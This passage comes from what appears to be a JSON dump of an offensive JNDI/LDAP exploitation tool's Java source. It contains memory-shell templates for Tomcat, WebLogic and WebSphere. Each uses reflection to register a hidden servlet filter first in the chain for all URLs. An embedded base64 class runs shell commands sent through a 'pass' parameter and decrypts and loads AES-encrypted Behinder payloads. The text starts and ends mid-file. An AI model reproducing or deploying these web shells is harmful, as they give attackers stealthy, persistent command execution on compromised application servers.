akAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=\";\n                            byte[] bytes = base64Decoder.decodeBuffer(codeClass);\n\n                            Method method = null;\n                            Class clz = cl.getClass();\n                            while(method == null && clz != Object.class ){\n                                try{\n                                    method = clz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                                }catch(NoSuchMethodException ex){\n                                    clz = clz.getSuperclass();\n                                }\n                            }\n                            method.setAccessible(true);\n                            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);\n                        }\n\n                        filterDef.getClass().getDeclaredMethod(\"setFilterClass\", String.class).invoke(filterDef, clazz.getName());\n                        filterDef.getClass().getDeclaredMethod(\"setFilter\", Filter.class).invoke(filterDef, clazz.newInstance());\n                        standardContext.getClass().getDeclaredMethod(\"addFilterDef\", filterDefClass).invoke(standardContext, filterDef);\n\n                        //设置 FilterMap\n                        //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同，为了通用性，这里用反射来写\n                        Class filterMapClass = null;\n                        try {\n                            filterMapClass = Class.forName(\"org.apache.catalina.deploy.FilterMap\");\n                        } catch (ClassNotFoundException e) {\n                            filterMapClass = Class.forName(\"org.apache.tomcat.util.descriptor.web.FilterMap\");\n                        }\n\n                        //使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去，无需在手动排序了\n                        //其他中间件应该也是类似的\n                        Object filterMap = filterMapClass.newInstance();\n                        filterMap.getClass().getDeclaredMethod(\"setFilterName\", String.class).invoke(filterMap, filterName);\n                        filterMap.getClass().getDeclaredMethod(\"setDispatcher\", String.class).invoke(filterMap, DispatcherType.REQUEST.name());\n                        filterMap.getClass().getDeclaredMethod(\"addURLPattern\", String.class).invoke(filterMap, urlPattern);\n                        standardContext.getClass().getDeclaredMethod(\"addFilterMapBefore\", filterMapClass).invoke(standardContext, filterMap);\n\n                        //设置 FilterConfig\n                        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);\n                        constructor.setAccessible(true);\n                        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);\n                        map.put(filterName, filterConfig);\n                    }\n                }catch(Exception e){\n                    //pass\n                }\n            }\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.sun.jmx.mbeanserver.NamedObject;\nimport com.sun.jmx.mbeanserver.Repository;\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport sun.misc.BASE64Decoder;\nimport weblogic.servlet.internal.FilterManager;\nimport weblogic.servlet.internal.WebAppServletContext;\nimport weblogic.servlet.utils.ServletMapping;\nimport weblogic.utils.collections.MatchMap;\nimport javax.management.MBeanServer;\nimport javax.management.ObjectName;\nimport java.lang.management.ManagementFactory;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class WeblogicMemshellTemplate extends AbstractTranslet {\n    public WeblogicMemshellTemplate(){\n        try{\n            String filterName = \"dynamicFilter\";\n            String urlPattern = \"/*\";\n\n            MBeanServer server = ManagementFactory.getPlatformMBeanServer();\n            Field field = server.getClass().getDeclaredField(\"wrappedMBeanServer\");\n            field.setAccessible(true);\n            Object obj = field.get(server);\n\n            field = obj.getClass().getDeclaredField(\"mbsInterceptor\");\n            field.setAccessible(true);\n            obj = field.get(obj);\n\n            field = obj.getClass().getDeclaredField(\"repository\");\n            field.setAccessible(true);\n            Repository repository = (Repository)field.get(obj);\n\n            // 这里的 query 参数会被忽略，所以直接用 null\n            Set<NamedObject> namedObjects = repository.query(new ObjectName(\"com.bea:Type=ApplicationRuntime,*\"),null);\n            for(NamedObject namedObject : namedObjects){\n                try{\n                    String name = (String) namedObject.getObject().getAttribute(\"Name\");\n                    if(name.equals(\"bea_wls_internal\") || name.equals(\"mejb\") ||\n                            (name.contains(\"bea\") && name.contains(\"wls\"))) continue;\n\n                    field = namedObject.getObject().getClass().getDeclaredField(\"managedResource\");\n                    field.setAccessible(true);\n                    obj = field.get(namedObject.getObject());\n\n                    field = obj.getClass().getSuperclass().getDeclaredField(\"children\");\n                    field.setAccessible(true);\n                    HashSet set = (HashSet)field.get(obj);\n\n                    for(Object o : set){\n                        if(o.getClass().getName().endsWith(\"WebAppRuntimeMBeanImpl\")){\n                            field = o.getClass().getDeclaredField(\"context\");\n                            field.setAccessible(true);\n                            WebAppServletContext servletContext = (WebAppServletContext) field.get(o);\n                            FilterManager filterManager = servletContext.getFilterManager();\n\n                            // 判断一下，防止多次加载， 默认只加载一次，不需要重复加载\n                            if (!filterManager.isFilterRegistered(filterName)) {\n                                System.out.println(\"[+] Add Dynamic Filter\");\n\n                                ClassLoader cl = Thread.currentThread().getContextClassLoader();\n                                Class clazz;\n                                try{\n                                    clazz = cl.loadClass(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n                                }catch(ClassNotFoundException e){\n                                    BASE64Decoder base64Decoder = new BASE64Decoder();\n                                    String codeClass = \"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=\";\n                                    byte[] bytes = base64Decoder.decodeBuffer(codeClass);\n\n                                    Method method = null;\n                                    Class clz = cl.getClass();\n                                    while(method == null && clz != Object.class ){\n                                        try{\n                                            method = clz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                                        }catch(NoSuchMethodException ex){\n                                            clz = clz.getSuperclass();\n                                        }\n                                    }\n                                    method.setAccessible(true);\n                                    clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);\n                                }\n\n                                //将 Filter 注册进 FilterManager\n                                //参数： String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers\n                                Method registerFilterMethod = filterManager.getClass().getDeclaredMethod(\"registerFilter\", String.class, String.class, String[].class, String[].class, Map.class, String[].class);\n                                registerFilterMethod.setAccessible(true);\n                                registerFilterMethod.invoke(filterManager, filterName, \"com.feihong.ldap.template.DynamicFilterTemplate\", new String[]{urlPattern}, null, null, null);\n\n\n                                //将我们添加的 Filter 移动到 FilterChian 的第一位\n                                Field filterPatternListField = filterManager.getClass().getDeclaredField(\"filterPatternList\");\n                                filterPatternListField.setAccessible(true);\n                                ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager);\n\n\n                                //不能用 filterName 来判断，因为在 11g 中此值为空，在 12g 中正常\n                                for(int i = 0; i < filterPatternList.size(); i++){\n                                    Object filterPattern = filterPatternList.get(i);\n                                    Field f = filterPattern.getClass().getDeclaredField(\"map\");\n                                    f.setAccessible(true);\n                                    ServletMapping mapping = (ServletMapping) f.get(filterPattern);\n\n                                    f = mapping.getClass().getSuperclass().getDeclaredField(\"matchMap\");\n                                    f.setAccessible(true);\n                                    MatchMap matchMap = (MatchMap)f.get(mapping);\n\n                                    Object result = matchMap.match(urlPattern);\n                                    if(result != null && result.toString().contains(urlPattern)){\n                                        Object temp = filterPattern;\n                                        filterPatternList.set(i, filterPatternList.get(0));\n                                        filterPatternList.set(0, temp);\n                                        break;\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }catch(Exception e){\n                    //pass\n                }\n            }\n        }catch (Exception e){\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport sun.misc.BASE64Decoder;\nimport javax.servlet.DispatcherType;\nimport javax.servlet.Filter;\nimport java.lang.reflect.Method;\nimport java.util.EnumSet;\nimport java.util.List;\n\npublic class WebsphereMemshellTemplate extends AbstractTranslet {\n\n    public WebsphereMemshellTemplate(){\n        try{\n            String filterName = \"dynamicFilter\";\n            String urlPattern = \"/*\";\n\n            Class clazz = Thread.currentThread().getClass();\n            java.lang.reflect.Field field = clazz.getDeclaredField(\"wsThreadLocals\");\n            field.setAccessible(true);\n            Object obj = field.get(Thread.currentThread());\n\n            Object[] obj_arr = (Object[]) obj;\n            for(int j = 0; j < obj_arr.length; j++){\n                Object o = obj_arr[j];\n                if(o == null) continue;\n\n                if(o.getClass().getName().endsWith(\"WebContainerRequestState\")){\n                    Object request = o.getClass().getMethod(\"getCurrentThreadsIExtendedRequest\", new Class[0]).invoke(o, new Object[0]);\n                    Object servletContext = request.getClass().getMethod(\"getServletContext\", new Class[0]).invoke(request, new Object[0]);\n\n                    field = servletContext.getClass().getDeclaredField(\"context\");\n                    field.setAccessible(true);\n                    Object context = field.get(servletContext);\n\n                    field = context.getClass().getSuperclass().getDeclaredField(\"config\");\n                    field.setAccessible(true);\n                    Object webAppConfiguration = field.get(context);\n\n                    Method method = null;\n                    Method[] methods = webAppConfiguration.getClass().getMethods();\n                    for(int i = 0; i < methods.length; i++){\n                        if(methods[i].getName().equals(\"getFilterMappings\")){\n                            method = methods[i];\n                            break;\n                        }\n                    }\n                    List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]);\n\n                    boolean flag = false;\n                    for(int i = 0; i < filerMappings.size(); i++){\n                        Object filterConfig = filerMappings.get(i).getClass().getMethod(\"getFilterConfig\", new Class[0]).invoke(filerMappings.get(i), new Object[0]);\n                        String name = (String) filterConfig.getClass().getMethod(\"getFilterName\", new Class[0]).invoke(filterConfig, new Object[0]);\n                        if(name.equals(filterName)){\n                            flag = true;\n                            break;\n                        }\n                    }\n\n                    //如果已存在同名的 Filter，就不在添加，防止重复添加\n                    if(!flag){\n                        System.out.println(\"[+] Add Dynamic Filter\");\n\n                        ClassLoader cl = Thread.currentThread().getContextClassLoader();\n                        try{\n                            clazz = cl.loadClass(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n                        }catch(ClassNotFoundException e){\n                            BASE64Decoder base64Decoder = new BASE64Decoder();\n                            String codeClass = 